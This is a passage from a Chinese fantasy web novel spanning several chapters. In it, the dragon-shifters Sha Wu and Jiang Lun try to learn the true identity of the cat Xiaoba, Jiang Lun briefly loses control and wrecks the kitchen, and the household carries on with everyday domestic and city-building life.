严格说来，沙伍并没有进入过后土城真正的污染源。 这次她干脆把沙伍带进来，看他到底是怎么做的。 校霸站起来：“喵？” 在场之中，只有校霸一心想和沙伍玩耍。 姚瑞云把小奶猫放到地上。 校霸立刻把小奶猫叼起来，晃荡来晃荡去地转了一圈，最后还是把小奶猫放在姚瑞云脚边。 沙伍不敢再玩，变成小白龙。 校霸立刻跳到他背上。 小白龙背着猫飞下悬崖，降落到海边。 这边的海滩不是宿舍那样的沙滩，或者是生蚝岛那种礁石滩，而是一片碎石滩。 白龙的爪子踩在上面唰啦啦响，还很滑。 校霸走在上面倒是很轻盈，东嗅嗅西嗅嗅。 一切存在都在无限放大。 白龙的爪子仿佛在潮汐边缘试探的夜鹭，一探爪，从海水的边沿抓出一张……紫菜？ 白龙吃得咔嚓咔嚓。 紫菜，还是烤过的，咸香酥脆。 吃完，白龙打了个饱嗝，开始试图盘成一圈睡觉。 夜鹭看小白龙追着自己的尾巴跑了两圈，歪头：“吃出后遗症来了？” 姚瑞云有些哭笑不得：“不是。这孩子老想着把自己盘得圆圆的，不知道哪儿来的执念。” 漆黑的环境让大乌鸦十分焦躁：“小子来也来了，吃也吃了，赶紧回去了。” 姚瑞云好笑地摸了摸大乌鸦的头毛：“好。知道我们家小羽要赶着回家睡觉。” 大乌鸦来不及反驳，他们就回到了宿舍外的草坪上。 巨大的金龙趴在上面。 宿舍里的一群人战战兢兢。 去年他们还准备等着姜纶一旦失控变成觉醒体，就要拼死把他拦住，甚至杀死；今年已经完全不敢有这想法了。 眼看着姜纶的状态越来越稳定，他们都安分守己在家养养猫种种花了，姜纶为什么还要变成觉醒体吓唬人？ 他们胆子很小的好不好？ 万一吓出个好歹来怎么办？ 金龙被青龙裹挟，瞬间失去了踪迹。 大乌鸦跟着飞了一下，和留下来的夜鹭面面相觑：“我们不去吗？” 夜鹭无聊地抬起翅膀，整理羽毛：“去哪儿？我这身鸟皮，待在北冰洋难受。” 刚冬捕回来，再去捕猎也不是不行，但是他总不能当着人家家长的面，把人家小孩儿当鱼饵使吧？ 怕不是要被青龙敲毛栗子。 大乌鸦压根不信，但也没说什么，着急忙慌就去找窝睡觉了。 小鬼真麻烦，一不小心就熬夜熬到了六点半，明天早上要起不来。 比起跟着学校老师们冬捕，姚瑞云带着他们降落的地点更加靠北。 泡泡笼罩下百来米的厚度，全是冰盖，几乎看不到大海，也看不到别的生物。 小白龙晃了晃脑袋，很快就变成了大白龙，在冰原上连飞带跑，这边挠挠冰山，那边深入冰川裂隙，活泼得像是一条撒欢的小狗。 金龙的爪子落在冰原上，感觉到有点冷，下意识抬起爪子甩了甩：“小鲨鱼是真不怕冷。” 姚瑞云把校霸也放到地上。 雪白的狮子猫几乎在瞬间就和冰原融为一体，喵一声就朝着白龙蹿了出去。 小小一只猫开始和巨大的白龙追过来跑过去。 金龙低头看看自己的爪子，再看看丁点大的狮子猫：“我还不如一只猫抗冻？” 姚瑞云坐到金龙的尾巴上，随手拍了一下：“笨。你的精神控制到底有没有认真锻炼？真的全靠小伍帮你扛着？” 姜纶感觉自己整条尾巴都僵硬了，脑袋也跟着冻住了一样：“校霸不是猫？校霸怎么看都是猫啊。顶多就是有异能的猫。体检检查出来的伤，也就是流浪猫打架的伤，冒牌……风叔和夜老师都没看出什么来，平时就交给小鲨鱼练习治疗。” 校霸要不是猫，那家里明明有三只猫，结果全是假的？ 姚瑞云看着在冰原上像个雪球一样跑跳的校霸，想想气不过，又在金龙尾巴上拍了一下：“你还能分得清楚流浪猫打架和异能战士打架伤势的不一样来了？你风叔出生就先天不足，一只鸟只能当半个人用；珹珹平时就半个……那小子，在外面的半个也不知道是真是假。” 她说着，忽然站了起来。 金龙也扭头朝身后看去。 漂亮的独角兽走到他们身边：“好久不见，姚。” “纳瓦尔。还没感谢你把武器都给了我家小伍。” “我留着也没用，交给沙伍，或许能让我的老朋友更高兴一点。”独角兽说着，走到了疯跑的雪团子身边。 校霸显然没注意到独角兽，一头撞到独角兽的腿上，摔了个屁股蹲还直接用屁股漂移了一圈。 独角兽低下头，长长的独角对准校霸的眉心，散发出一圈光晕：“很高兴能再见到你，我的老朋友。” 校霸昏睡了过去。 独角兽走了。 青龙把他们送到了生蚝岛上，也走了。 小白龙在壁炉前团起来，圈着呼呼大睡的校霸，听见岛上鸟类的叫声：“晚上了，它们还不睡？风叔睡觉不是很积极？” “春天到了，开始繁殖季了吧？”临时过来，姜纶什么都没准备，听见外面的嘈杂的鸟叫，有些意动，“要不我去抓一只鸟来做晚饭？” “还是别了。”小白龙把脑袋放到尾巴上，“家里应该还有冬捕存的鱼吧？” 这次冬捕的收获实在太多了。 回来吃饭也就是随便吃两口，但真没吃多少。 七级八级的老师们还是正常人，不像夜鹭那样的深渊巨口，可以一口吞下一条七级八级的大鱼。 他们一晚上也就能吃上这个半条那个半条的。 姜纶想起来了，走到食品储藏室里，嘴上嘀咕：“都是些剩下的边角料。” 整鱼整豹都被拿回学校了。 “能吃就行了。”小白龙跟着飞到储藏室里，“这不是挺多的嘛。” 姜纶挑拣了一块鱼肉一块牛肉：“没有新鲜的，随便吃点吧。” 储藏室就是个巨大的保鲜柜。 看上去很新鲜的肉类，在姜纶眼里已经没什么吸引力。 他想着回去的时候把里面的肉都带走，下次来带新的。 小白龙扒在灶台上碍手碍脚，美其名曰：“我跟你学做菜。下次我来掌勺。” 姜纶能怎么办？ 当然是惯着他。 姜纶假装支使他去暖棚里摘菜。 沙伍把家政机器人叫过来，报了一串菜名和重量：“去摘菜。” 家政机器人转身就走，没过几分钟就把菜交给了沙伍。 沙伍转交给了姜纶：“呐。” 姜纶亲亲龙角，夸他：“小鲨鱼真能干！” 沙伍自己也被夸得有些不好意思，爪子终于肯离开灶台，长长的身体飞过岛台，蜿蜒到了壁炉前，重新把校霸圈起来：“校霸真的是很厉害的人？会是谁呢？” 姜纶先长叹一口气：“你的体质是不是……怎么随便在学校里找只猫，都能找到大人物？” 小白龙抖抖耳朵：“我不造啊。” 小白龙的体型对比狮子猫来说还是太大了。 他对着校霸多盯了一会儿，就觉得要变成斗鸡眼，赶紧拉开一点距离：“校霸怎么看都是一只普通的小猫咪，顶多就是比别的猫更加可爱漂亮。校霸在学校里已经有几年了，院长都没认出来，我怎么能看出来？” 他要学习，肯定是找最帅的猫猫。 谁知道找只猫都能找到传说中的……暂时还不知名的大佬？“校霸到底是哪个历史名人？” 姜纶看了看依旧躺平的校霸，把炒好的蔬菜装盘：“并不一定是历史名人。大灾变延续了二三十年。这期间整个社会都是混乱，根本没有人去详细记录历史。那时候陨落的九级根本没法计算。” 沙伍觉得不可思议：“九级哎？哪怕是大灾变的时候，九级应该也是很出名的大人物吧？有一个自己驻地，有一群追随他的战友，有更多依附于他生存的普通人。” “那时候的科技几乎在一夜之间失效，远程通讯方式没有。人类聚居点之间被大量的变异生物隔开。在最初的几年时间里，很多聚居点都是孤军奋战。他们可能存在过繁荣过，但是很有可能一夜之间消失。没有记载，很正常。现在的局面，已经是我们奋斗了两百多年的结果。”他把菜盘放在餐桌上，“过来吃饭。详细的，等假期回家的时候，你可以问问爸妈。” “哦。”沙伍变回人形，摸了摸校霸，洗了手坐好，“妈妈和纳瓦尔都认识校霸。” “等校霸清醒了，问他就知道了。” 沙伍一想也是，结果校霸一睡就是一个星期。 青龙城已经彻底进入春天。 薛春培育的早熟樱桃都开始陆续成熟。 沙伍叫了小丑鱼和虾同学一起过来吃。 三个人直接一路走一路吃，正聊着天呢，沙伍的后脖颈就被猫给咬住了。 沙伍把猫抱到怀里：“校霸醒了？醒了也不能吃我这条鱼啊。鲨鱼肉不好吃。” 校霸四脚朝天，眼睛和沙伍对视，一脸的“我是最喜欢你的小猫咪”的样子，娇软地叫了一声：“喵~”然后呼噜呼噜。 沙伍立刻不吃樱桃了，抱着校霸往宿舍跑：“校霸要饿死了，我带他先去吃东西。” 小丑鱼和虾同学也跟着一起往回走：“你哪里看出校霸要饿死了？” “对啊。校霸小肚腩这么大。”说着，小丑鱼还伸手去摸了摸校霸软软的肚皮。 “这才不是小肚腩，这是原始袋。”沙伍纠正，很快回到宿舍，直接从厨房后门进去，“叔，有没有什么给校霸吃的？” 祁大厨还没说话，在一旁的阿大已经摆好了桌子：“正在给他做呢。” 祁大厨看了看校霸：“刚才还在这儿，什么时候出去的都不知道。” 校霸冲着祁大厨叫得特别甜：“喵~” 沙伍看着对校霸亲亲抱抱举高高的祁大厨，想到校霸实际上可能是个中年大叔，那画面emmm…… 小丑鱼和虾同学看了看觉得没他们什么事情，也没什么热闹可以看，招呼了一声，重新去摘樱桃。 机会难得，他们要摘够一星期吃的。 让沙伍这个懒货每天摘一点带给他们，想都别想。 猫饭很快出炉，直接就是适口的温度。 校霸闻了闻，一顿风卷残云。 吃完，他就坐在岛台上面舔爪子洗脸。 沙伍叫他：“校霸。” 校霸停下动作，看着他。 沙伍就问：“你叫什么名字？” 校霸似乎不太理解他的问题，过了好一会儿才张口：“喵？” 沙伍看着他，感觉眼眶都红了。 他的面前是一位曾经为了人类社会做出过巨大贡献的英雄，现在却只能变成一只普通的猫咪。 大概是他的表情太过扭曲，校霸又张了张口：“爸爸。” 第94章 无端联想 听到校霸叫爸爸，沙伍还在发呆，姜纶的表情直接就裂了。 人都裂了——脑袋上顶出了龙角，皮肤上开始长出鳞片。 沙伍第一时间嗅到姜纶弥漫的污染气息，压根没过脑子，冲过去给他脖子上来了一口。 情急之下咬得有点重，沙伍直接尝到了满口血，还不敢松口，皱着眉头拉着姜纶进入双修，引导着他体内狂风暴雨的大海平息下来。 姜纶也在努力克制。 这场风暴不到五分钟就冷却了下来。 摘了樱桃回来的虾同学和小丑鱼看着消失了一半的厨房，人都傻了。 厨房后门敞开着，靠近外墙的部分还是完好的，但是厨房靠近走廊的内门那一块完全消失，像是刚才被塞进去了一个直径三四米的球。 梁管家扶额叹息：“不拆家不行是吧？” 本来就是因为拆家，他们才从原来旧宿舍搬过来的。 新宿舍建造的时候就考虑过了强度问题，当时还觉得姜纶的情况越来越稳定，其实材料方面搞到防御工事那么强没什么必要。 结果，确实是没什么必要。 反正对姜纶没什么作用。 姜纶刚刚稳定下来，靠在沙伍肩头。 沙伍环抱住他的腰，对梁管家露出抱歉的笑容：“对不起，要麻烦梁伯了。” 梁管家露出职业假笑：“没关系，这是我的工作。” 新宿舍的建筑强度属实多余，但考虑过的修复工作一点都不多余。 梁管家马上就开始了有条不紊的安排。 其他人也井然有序地配合，全都情绪很稳定的样子。 沙伍这才注意到小丑鱼和虾同学：“你们樱桃这么快就摘完了？” 两人一人提着一个小篮子，卡顿了三秒钟才反应过来：“啊，是。”又卡了三秒钟，才想起来回来的目的，“我们想去摘点别的水果？” “随便摘，让校霸带你们去吧。” 从刚才起就一点没受到打扰的校霸，不太明白为什么姜纶突然发飙，但显然听明白了沙伍的意思，喵了一声就竖着尾巴带着两个呆愣愣的同学出门，甚至给自己安排了一辆小飞车，率先跳了上去。 沙伍这才直接半抱半拖着姜纶往外走，本来是想着回到卧室里，让姜纶在舒适的环境中更加放松一点，没想到姜纶直接带着他往地下室走。 “宿舍有地下室？”他怎么不知道？“宿舍靠海那么近，地下室不会潮吗？” 他这种仿佛没事人一样的态度，让姜纶紧绷的情绪一点点放松，张了张嘴，缓和了一下才张口说话：“我……搬进来之后，慢慢挖的。不会潮湿。” 沙伍听他说话的声音很轻，语速很慢，但只要能好好回答了，就代表着异能在进一步受到约束。 脚步转入地下一层，沙伍抬手摸了摸木制的墙壁，低头看到同样的木制地板，整个地下室都罕见地用了全木包裹：“看上去像个大木箱子。” “嗯。农场春天修剪下来的木材太多，扔掉太麻烦，我直接拿来练手了。” “像做蚝壳板那样吗？”沙伍蹲下，观察墙面和地面的交接处，发现真的一点缝隙都没有，“你这是什么板子制作圣体？怎么做的？教我。” 姜纶陪他蹲着。 偌大的地下室里，两个人就站在门口的墙边，像是两个大蘑菇。 他回答的时候还是速度有点慢：“大地能够包容一切，当然也能够包容木元素。世间一切都会遵从我的意志。”他说这话的时候，视线停留在了沙伍身上。 沙伍直视他的眼睛，凑过去啾了他一下：“我们家姜小龙就是厉害。”他拉着姜纶站起来，伸手去摸他脖子，上面的血痂一碰就碎成了渣渣，露出白皙完好的皮肤，“对不起，我咬太重了。” 他下意识舔舔牙齿，感觉口腔里还弥漫着姜纶污染的独有芳香。 那是一种任何食物都无法比拟的美味，吃完觉得整个人从细胞到灵魂都在发热，脑袋都晕乎乎的。 姜纶看着他，缓缓露出一个笑：“没关系。你把我吃了都没关系。” “噫~我吃你干嘛？”空旷的地下室真的就是一个木头箱子，空荡荡的什么都没有。 他变成大白龙，趴在地上，用爪子拍拍身边。 姜纶变成金龙，跟他一样趴着。 大白龙瞪大眼睛，长长的胡须都飘了起来：“你离我这么远干嘛？想在我们中间开个冰淇淋店吗？” 刚说完，他就回头去看自己的尾巴，上面搭了一条金龙的尾巴。 金龙歪着头看他，也不说话，只是用尾巴一下一下地轻轻拍打。 大白龙瞪他一眼又一眼，很快就挨到他身边：“贴贴~” 金龙被他蹭了脸又蹭了脖子：“不要学校霸。” 沙伍见他自己提起校霸，顺着就问他：“校霸说了一句爸爸，你反应怎么这么大？他应该说的是自己的名字叫霸霸。”完全想不明白姜纶发作的点。 金龙沉默。 沙伍没感觉到他上升的污染值，整个人尽量放松，用爪子扒拉他一下：“说嘛~跟我有什么不好说的呢？” “唔……”金龙的目光闪躲，“我就是脑补了一下。听见校霸叫你爸爸的时候，我不知道为什么，脑子就出现一个画面。” “嗯？”什么画面？ “我们分开多年，我再找到你的时候，你已经跟别人结了婚，连孩子都生了。”想想就觉得难受。 “啊。”沙伍恍然大悟，“我昨天看片的时候，你来过啊？还只看了个开头。” 姜纶工作忙，没时间时时刻刻陪着沙伍。 沙伍最近的学业理得很顺，网上接的链路制作的单子完成了，已经结清了款项，每天晚上睡前都能有时间看一部影片。 “你现在有时间，干脆陪我一起看一遍。” 金龙满脸抗拒：“我不。”这么让人难过的片子，他才不要看。 “抗议无效。”大白龙耍赖地压在金龙身上，防着他逃跑，找到昨天看的片子，直接投影到了墙上，“其实是一部很癫的喜剧来着。” 金龙眼睛都闭上了：“你就骗我吧。开幕雷击，怎么可能是喜剧？” 看完之后，还真的是喜剧。 剧情充斥着各种癫癫的，偏偏又很合理的情节。 片子两个小时时长，二刷的大白龙笑成小白龙，挂在金龙身上从脑袋到尾巴滚了两三圈。 金龙全程纹丝不动，保持着高度警惕，就怕来个主角突然分手的剧情。 一直到最后大团圆结局，金龙才算是放松下来。 小白龙挂在金龙背上：“这部片子的票房很好哦。听说今年要出第二部，到时候我们一起去影院看吧？二姐他们商场的影院刚重新装修过，说是设施很好。” 金龙疑惑：“宿舍里有影院。”为什么要去外面的影院看？“是想见见二姐吗？” 小白龙轻轻咬了一下金龙的鬃毛：“嗷。我经常忘记。” 大概是他平时看片子太多，新宿舍里装了个影院，除了座位少了一点之外，其它的跟真的影院一样，设施还更加舒适。 也因为座位少，沙伍就一直觉得自己是在看一个大一点的屏幕。 其实片源都是和外面院线一样的。 画面音响什么的，比手环光屏要好多了。 不管：“逛街啊。我们去约会嘛。二姐那么大个人了，不用我们去看她。”顶多就是一起晚上吃个饭什么的，顺便看看家里露台上种的东西怎么样了。 说起来，他该给露台上的作物换新了。 金龙被他口中的约会说动了：“好，约会。” 他确实更喜欢和沙伍独处，最好是像在生蚝岛上那样，仿佛整片天地就只有他们两个人；但和沙伍在人群中穿梭，那种明明周围人山人海，他和沙伍能够自成一个小世界的感觉，也非常让人心动。 他说：“我可以给你买冰淇淋。” 沙伍实在是对冰淇淋没有任何抵抗力，飞快爬到金龙头顶，提出要求：“要八个球的。” “好。”姜纶想着自己应该学习一下怎么做冰淇淋。 生蚝岛上温度那么低倒是还好，战队岛上确实是需要一个冰淇淋机器。 制作冰淇淋的原材料最好也得有新鲜的。 这样就得开个农场。 只是那边经常受到台风困扰，而且大部分岛屿其实就是伫立在海上的山，缺乏宽阔的平原。 种点果树什么的可以，想要开辟大型农场，不是很合适，成本太高。 如果是小规模种植的话，那就和生蚝岛上一样，弄个家庭菜园，但这样就很浪费战队岛的水热资源。 沙伍见他整条龙都呆愣了一会儿，随即又叹了口气，好奇：“怎么跟我去约会还叹气？可惜什么呢？” “可惜不能开房。”姜纶下意识接话，脱口而出的时候没有觉得有什么不对，等说完之后更加理直气壮起来。 他变回人形，盘腿坐在地上，把小白龙撑着腋下举起来和自己四目相对：“你到底有没有好好恢复身体？” “有！”小白龙回答得超大声，嘴巴两边长长的胡须乱飘，眼瞅着就要打结，一看就很心虚。 特喵的，没当过龙，他压根就不知道还能有这方面没法控制的生理现象。 难道他以后都不能撒谎了吗？ 不不不，他可以变成人形撒……不对，变成黄喉貂或者大乌鸦撒谎。 这两款脸黑，还脸小，绝对看不出来情绪变化。 姜纶用鼻子抵着他鼻子：“真的？” 小白龙的眼睛变成了斗鸡眼，还不敢挪开：“真、真的。你看我打架课都第一名。” “那是战斗系。”包含各种异能武器的结构和使用、战略战术、团体作战及指挥、变异生物认知、野外生存和急救等等，个人武力值方面的提升，反倒是相对较少的内容。 类似冥想，老师能够在课堂上教导的终归有限，主要还是看学生在课后的努力。 课后努力的话，沙伍在这方面的条件确实得天独厚，毕竟没谁有胆子天天挑衅一群八级九级。 他想到刚认识沙伍时候的客气，甚至是一丝丝惶恐。 他收紧手臂，让小白龙趴在他肩膀上，从后脑勺摸到尾巴梢。 他把他家小鲨鱼养得很好……可惜只有心理，生理上还是差了一些。 “怎么就这么瘦？”明明吃好喝好睡好的，偏偏不长肉。 沙伍不认：“我一年长了三十多斤！” 觉醒体的体重更是不用说。 他要是愿意用大白龙的身体去称重，绝对能把医院的称给压坏。 “什么一年？明明快两年了。”他是高中毕业的暑假捞起来的小鲨鱼，现在二年级下半学期的一半都快过了。 小白龙把脑袋往姜纶脖颈边上更加用力点贴贴，一个字都不说。 姜纶是抱着睡着的小白龙上楼的。 他挖地下室的时候，准备的是藏酒用，所以入口位置靠近厨房。 厨房已经恢复了原样。 阿大小声说了一句：“花杨蓉和白虹已经回去了。” 今天的掌勺是阿二：“叔带着校霸出去遛弯了。一会儿就能吃饭了。” “好。我先带小鲨鱼去洗把脸。” 阿大和阿二见姜纶抱着小白龙慢悠悠走远。 阿大把厨房门关上。 阿二马上开始小声吐槽：“啧，瞧他现在这副德行。也就是小伍脾气好，愿意哄着个神经病。” 阿大平时脾气很好，但是今天半个厨房没了，他也很生气：“就是。莫名其妙的，校霸只是叫了小伍一声爸爸，也不知道他抽的哪门子疯？” 因为受损的是厨房，两个人忙了一下午。 房子别的地方拆了都没事，厨房不行。 尤其是对阿大来说，他是亲眼看着姜祁从一个常年在外奔波的异能战士、战斗净化者，为了照顾他们兄弟俩，从零开始学习怎么制作食物，一点点成为一名非常专业的营养师的。 厨房是他们父子三人之间最初的纽带，是他们家庭的羁绊。 他绝对不允许任何人破坏厨房！ 姜纶破坏了，他没付诸行动，不是因为他拿了工资，单纯因为他打不过。 越想越气，阿大撸了撸袖子：“下次要是还有谁敢在厨房搞破坏，直接打死。” 阿大一旦暴躁起来，阿二就冷静了，问：“那要是破坏的人是小伍呢？” 阿大立马双标道：“小伍怎么一样？小伍哪怕弄坏了什么，肯定是无心的。”小伍能有什么坏心思。 阿二早就猜到了大哥会是这样的反应，又说：“校霸砸碎了一套杯子。” 小猫咪虽然可爱，但热爱当桌面清理大师，一个不留神，桌上的东西就都被扒拉下去了。 “啊。”阿大突然感觉到有什么不对但一直被忽略的地方了。 阿二以为大哥要揍校霸，十分惊讶：“哥？” 真打？ 小猫咪能有什么坏心思？ 阿大的表情莫名惊恐：“我是不是听到校霸说话了？” 他一定是被小少爷飚污染值，压迫感太强搞坏了脑子，竟然忽略了这么重要的点。 阿二露出同款表情：“可能只是类似的发音。校霸不是一直叫叔‘妈妈’？” “喵”起来夹杂点气泡音，发音和“妈”很像。 根本不是叫妈妈，全是小猫咪的打猎手段。 “说话不说话的先不提，校霸好像从一开始就没怕过小少爷。”姜纶可是出了名的人形驱虫（变异生物）剂。 长了腿的变异生物，哪一个不是见了姜纶就跑？ 连八级的小粉，看到姜纶都小心翼翼偷偷摸摸。 祁大厨抱着黏糊糊的猫从院子里回来，左亲一口右贴一下，看到两兄弟在厨房四目相对一动不动：“喂，醒醒！” “哦，叔。” “你回来啦。” 祁大厨开玩笑道：“别跟我说，就这么一会儿，你们兄弟俩看对眼了啊。咱们家可不兴骨科。你们就算喜欢男的，也不许吃窝边草，都向外发展去。” 兄弟俩对视一眼，顿时一阵恶寒，再看向祁大厨和校霸亲亲抱抱，表情就很微妙。 阿大说：“叔，校霸是只公猫。” 祁大厨拿出给校霸准备好的烤小鱼，把校霸放在餐桌上，自己坐着给校霸喂：“嗯。有什么问题吗？” 校霸就着祁大厨的手咔嚓咔嚓吃着酥香的小鱼，吃完还舔了舔祁大厨的手指：“喵~” 明明盘子里摆满了烤小鱼，校霸就是自己不去吃，非得要祁大厨喂。 祁大厨跟校霸亲亲：“校霸真可爱~” 阿二感觉都没眼看：“叔，校霸叫‘爸爸’的时候，你也听见了吧？没什么想说的吗？” 祁大厨单手托腮，无所谓道：“能有什么想说的？校霸曾经是个八级变异猫？反正就是跟小粉一样嘛，能有什么大不了的？”他又给校霸喂了一条小鱼，声音夹起来，“宝贝，叫爸爸~” 校霸跳到祁大厨腿上，站起来搂着他的脖子贴贴：“喵……爸爸~” “哎~宝贝~天呐，世界上怎么有这么可爱的小猫咪MUA！” 阿大&阿二：要有后妈了，还是只心机男喵？！ 沉迷撸猫的大厨，心情莫名沉重夹杂沮丧的帮厨，今天的晚餐格外敷衍。 沙伍吃过之后，去冰箱偷了个草莓冰淇淋都没有被说。 他抱着冰淇淋桶，心有不安，出了厨房门又踅回来：“你们没有什么话跟我说吗？”不象征性撵着他跑两圈？ “没有。” “快滚。” 沙伍探头探脑，没看到祁大厨，感觉自己知道了真相，抱着冰淇淋桶，去跟姜纶八卦。 刚吃完晚饭，姜纶不想马上坐在办公室里，正在院子里和梁管家一起看一副地图，看到沙伍过来，直接伸手把他拉住。 沙伍一看，发现是新城的地图。 这个新城，比他预想中要复杂得多。 整个新城的面积，比现在的青龙城，也就是山东省，还要大一圈。 姜纶要建造规划的，不是一个城市，而是几个城市。 暂时先建造的是3号监测点。 各种建筑和相关公司已经开始如火如荼地投入建设。 整座城市以肉眼可见的速度一天一个样。 另外就是在宿舍北面一点，也在建立一座新城。 这座新城就不需要建筑公司等等的参与，将由姜纶一手规划建造。 姜纶看他抱着个冰淇淋桶，不太赞同：“只能吃一点点，不能一次全部吃完。” 沙伍往他身上靠的动作顿时停住，抱着冰淇淋就跑：“小粉！我们出去玩！” “来、来啦！”院子里的粉红月季花墙瞬间变成一条粉龙，载着沙伍飞走。 梁管家看了看，微笑：“又去骚扰小鸟了。” 姜纶莞尔一笑：“他记着刚学飞板的时候，经常被变异鸟撵。”可以说十分记仇了。 梁管家想着校霸：“没想到校霸也不是猫。是不是要给校霸准备单独的房间？” 现在校霸在家里只有一个给他玩耍的游戏室，布置和家里给黄喉貂的差不多。 姜纶还真没考虑过这方面的问题：“那现在校霸是睡哪儿？” “和小祁一起睡。”梁管家自从知道校霸很可能是一位九级大佬后，就不知道该怎么面对姜祁和校霸的搂搂抱抱了。 姜纶露出和梁管家一样一言难尽的表情：“校霸到底是哪位九级？” 梁管家叹气：“反正不是现在的狮子猫。历史资料上没有一位九级的觉醒体是狮子猫。”一名九级如果想要伪装，根本没法从他们展现出来的外观，来判断他们的真实面目。 譬如青龙学院的院长夜鹭，压根就不是夜鹭。 姜纶也猜不到。 他翻阅了当年在青龙城活跃的九级，基本就只有他爸妈。 校霸可能是从别的地方流浪过来的。 范围一大，更加难猜。 他收起光屏：“我去饭后消食。” 所谓的消食，就是一口气修了几公里的铁路。 沙伍和小粉欺负完鸟群，回来就当姜纶的监工：“不是应该先布置链路，再修铁路的吗？你这样修，不会转头就被变异生物破坏掉吗？不会被环境污染吗？” 小粉附和：“喵喵喵……喵！” 它在努力学说话，但显然还说不了这么长的句子。 “不会，它们不敢。”姜纶听着小粉抑扬顿挫的喵喵声，又想到校霸，“要是哪天祁叔睡醒了，发现自己被窝里多了个人？”男的，很可能是光的，该怎么办？ 沙伍听着他的话进行了一番联想，把冰淇淋桶里的最后一口挖来吃掉：“这不就跟我第一次见你的时候差不多？” 天知道他醒过来发现身边有个大帅哥，真以为自己把人给糟蹋了。 虽然误会很快解开，但他刚开始真的以为姜纶是个性格单纯没什么心眼的小少爷。 他还是很喜欢当年那个天然呆小少爷的，谁知道…… 果然每一个九级的捕猎技巧都很高超，哪怕不用武力，也有很多心眼和手段。 第95章 一千学分？ 校霸的身份成谜。 沙伍想问姚瑞云，根本联系不到人；能联系到姚昭华，但姚昭华过来看了一眼，并不能确定校霸的身份。 “大姐也不去问问妈妈。”鲨猫硬是挤进躺了校霸和小粉的猫窝里，“唉……我们什么时候能和极光城直接联系？” 厨房打开的窗户边，风吹过猫毛，抱着身边呼噜噜的猫，沙伍很快就变得昏昏欲睡。 “理论上应该不难。据说大灾变前，就能够做到全球通讯。可惜大灾变前后的科技不通用。”阿二拿了刚出锅的小鱼饼干，一回头没看到沙伍的人，“小伍呢？刚才不还在这儿？” 祁大厨在处理蟹腿，切下三块肉丁，凑到猫窝边上：“喏。” 阿二走过来，看着三只猫头从窝里升起，一猫一口吃完又倒了下去。 “刚才校霸和小粉都已经睡满了，小伍你怎么挤得进去？” 鲨猫不仅挤进去了，还翻了个身：“我这种软骨鱼，跟你说不清楚。”睡猫肚皮的幸福，跟别人也说不清楚。 想到自己躺在一只九级猫猫的肚皮上，他就开始隔空踩奶，“校霸要是恢复了，会不会是只大狮子？” 阿大想了想：“非洲有个九级的觉醒体是狮子。国内好像没有。” 最后，还是祁大厨发话：“管他是谁呢。我们开开心心过日子就好。对不对，喵？” 校霸跟着喵了一声，伸长一条胳膊，和祁大厨击掌。 鲨猫问他：“你就一点都不介意，校霸是个人吗？” 祁大厨不理解：“这有什么好介意的？不是应该佩服和感激吗？” 他把猫窝抱到外面草地上倒扣过来，三只猫只能被动出窝。 “大白天的睡什么睡！”他丢出去一只小毛球。 校霸和小粉唰一下就追了出去。 “你看。一位为了人类生存做出过巨大贡献的老前辈，现在还能看到他为之奋斗过的世界，享受一些无忧无虑的快乐，不是一件很好的事情吗？”祁大厨看着校霸抓住小毛球，把小毛球咬住，抱在怀里疯狂蹬踹，“我是没经历过那个时代，听书南姐说起过一些。” “书南姐不是大灾变后出生的？”虽然书南姐的年纪也不小了。 “她那时候社会秩序也才刚刚建立，世道还乱的很。”他那时候就跟着田书南学怎么当一个合格的厨师和营养师，间隙的时候会提到一些过去的事情。 那些对他来说是历史，对田书南来说是亲生经历的事情。 沙伍被一道蹿过来的白影扑倒在地，故意大叫一声：“唉哟！” 竖着尾巴偷袭的校霸，又竖着尾巴跑回来，喵喵喵地邀玩。 鲨猫立刻加入他们，开始一起追逐打闹。 姜祁看着在草坪上疯玩的三只假猫，看了一会儿，干脆躺了下来。 春日午后的风，吹得人懒洋洋的。 他眯着眼睛，想到当年他带着阿大阿二两个孩子找到龙丘。 那时候他什么都不懂，甚至不明白龙丘的姜家和另外那个姜家之间的区别。 他是姜家旁了不知道多少旁的旁支，可以说出了同样姓姜之外，并没有任何一点和姜家有关系。 他也没什么身份证明。 但他进入姜家后，不仅是阿大和阿二，就连他都得到了非常好的照料。 那一批经历过大灾变的人，身上是有一种大爱在的。 就像青龙出现在青龙城的时候，整片天地都在为之感到喜悦。 姜纶午饭结束后，去书房处理一件临时发生的事情，处理完想找沙伍出去散步。 阿大带着他做贼一样靠近后院：“嘘。” 草坪上，姜祁仰躺着。 校霸仰躺在他胸口。 鲨猫和小粉横七竖八地仰躺在旁边。 姜纶眨了眨眼，走过去躺在鲨猫旁边。 阿大想了想，干脆也找了一块空草坪躺着。 梁管家从楼上往下看，拍了张照片，发到家族群里。 姚昭华很快回复：“我也想睡觉。” 休息日的中午，就该这么躺着睡觉，为什么她还在工作？ 沙伍是闻到有陌生的气味才醒过来的，站起来伸了个懒腰，眼睛还没睁开，又一头撞进姜纶怀里，闭上眼睛准备继续睡。 姜纶在听到有外人的声音的时候就醒了，好笑地看着睡得手软脚软的鲨猫。 过了一会儿，梁管家过来。 姜纶抱着鲨猫起身，跟着梁管家走到室内，才说道：“农院不是有周末集市？” 共工大学的农学院，包括大学城其它几所大学的农林相关专业，周末的时候会在集市上摆摊卖一些农产品，有普通果蔬，也有变异果蔬。 价格比去市场买便宜，还能买到一些新品种。 缺点是产量不高，都是一些学习科研剩下来的。 不过学生本来就不太开伙，卖水果还是很畅销的。 姜纶虽然离得远，但是对找过来的学生的诉求听得一清二楚。 鲨猫睡得迷迷糊糊，脑袋往姜纶胸口蹭了蹭：“唔嗯？” 姜纶小声解释：“有人想找我们买农产品。” 鲨猫的耳朵一下就竖了起来：“是我把鬼子领进来的吗？”不然怎么有人知道这边有正经农场？ 这边连猫都没一个正经的。 梁管家忍不住笑出声，摸了摸暖烘烘的猫脑袋：“又看什么稀奇古怪的电影了？”顿了顿，否认，“不是。新城这边的地图不是可以自动驾驶了嘛。有人周末没事干，过来玩，看到地图上有农场的标记，就过来问问能不能玩。” “采摘肯定不行，卖点零售的可以。看看他们要不要去海边挖沙子。”姜纶问沙伍，“要不要去玩？” 于是沙伍就变成了海滨浴场救生员。 天气越来越炎热，来海边玩耍的人越来越多。 大白鲨的背鳍就是最好的警示标记，下海游泳的人不能游出大白鲨划定的范围。 新城还没建立，新城的度假区已经人头攒动，甚至还诞生了不少就业岗位，并且招聘了一些大学生周末兼职。 姜纶不得不把新城的城建，往南连接到海边。 